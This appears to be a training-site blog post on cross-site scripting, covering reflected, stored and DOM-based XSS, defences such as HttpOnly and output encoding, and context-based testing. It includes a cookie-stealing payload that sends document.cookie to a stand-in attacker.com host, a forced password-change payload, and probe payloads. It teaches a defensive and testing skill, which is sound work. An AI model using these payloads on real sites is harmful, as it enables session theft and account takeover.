Cross-site scripting isn't just a pop-up trick. In the right hands it's a full account takeover. This is how attackers weaponise it — and what actually stops it.
The classic XSS demo is <script>alert(1)</script>. A pop-up appears. The crowd goes wild. Then everyone moves on thinking it's a party trick.
It's not. XSS is JavaScript executing in a victim's browser in the context of a trusted site. That means it has access to everything the page has access to — cookies, localStorage, the DOM, form inputs, the user's session. The alert is just proof it ran. What you do next is up to you.
Reflected XSS — your payload is in the URL, the server echoes it back in the response, the victim clicks a crafted link. Requires social engineering. Lower severity.
Stored XSS — your payload is saved in the database (a comment, a username, a profile bio) and served to anyone who views it. No social engineering. Everyone who loads that page gets hit. This is the dangerous one.
DOM-based XSS — the vulnerability lives entirely in the client-side JavaScript. The server never sees the payload. Harder to find, harder to patch.
Here's a stored XSS payload that does something real. You post this as a comment:
<script>
fetch('https://attacker.com/steal?c=' + document.cookie)
</script>Every user who loads the comments page silently makes a request to your server with their session cookie in the URL. You grab the cookie, set it in your browser, and you're authenticated as them. No password needed. No 2FA bypass needed. The session is theirs.
The only defence is if the cookie has the HttpOnlyflag — which prevents JavaScript from reading it. A surprising number of applications still don't set it.
If you can't steal the cookie directly, you can still abuse the session. The JavaScript running on the page can make authenticated requests on behalf of the user — the browser sends the cookie automatically, you just trigger the action.
<script>
// Force a password change to one you control
fetch('/account/password', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: 'new_password=hacked123&confirm=hacked123'
});
</script>This is a CSRF attack via XSS. It bypasses CSRF tokens because the JavaScript can first read the token from the page DOM, then include it in the request.
With XSS you can also inject a keylogger that captures everything typed on the page and sends it to your server. Or replace a login form with your own version that looks identical but submits credentials to you. Or inject a fake "session expired" modal that prompts for re-authentication.
The victim is on the legitimate site. Their browser shows the real URL. The padlock is green. They have no reason not to trust it.
< to < before rendering user input. The browser displays it as text, not HTML.The common mistake is thinking you can filter for <script>tags. You can't enumerate all the ways JavaScript can execute. <img src=x onerror=alert(1)>,<svg onload=alert(1)>, javascript:URLs in hrefs — the bypass list is effectively infinite. Encode at output. Don't filter at input.
Inject a unique string into every input that gets reflected — search boxes, profile fields, URL parameters, HTTP headers if they're displayed. Then look in the HTML source for where your string appears and what context it's in.
In a tag attribute: try " onmouseover="alert(1)
In a script block: try ';alert(1)//
In HTML context: try <img src=x onerror=alert(1)>
Context determines payload. That's the skill — reading the HTML and understanding where your input lands.
Everything in this post has a live lab on hackr.gg. Spin up a vulnerable machine and exploit it yourself — no setup, no VPN, runs in your browser.
Open XSS Fundamentals course →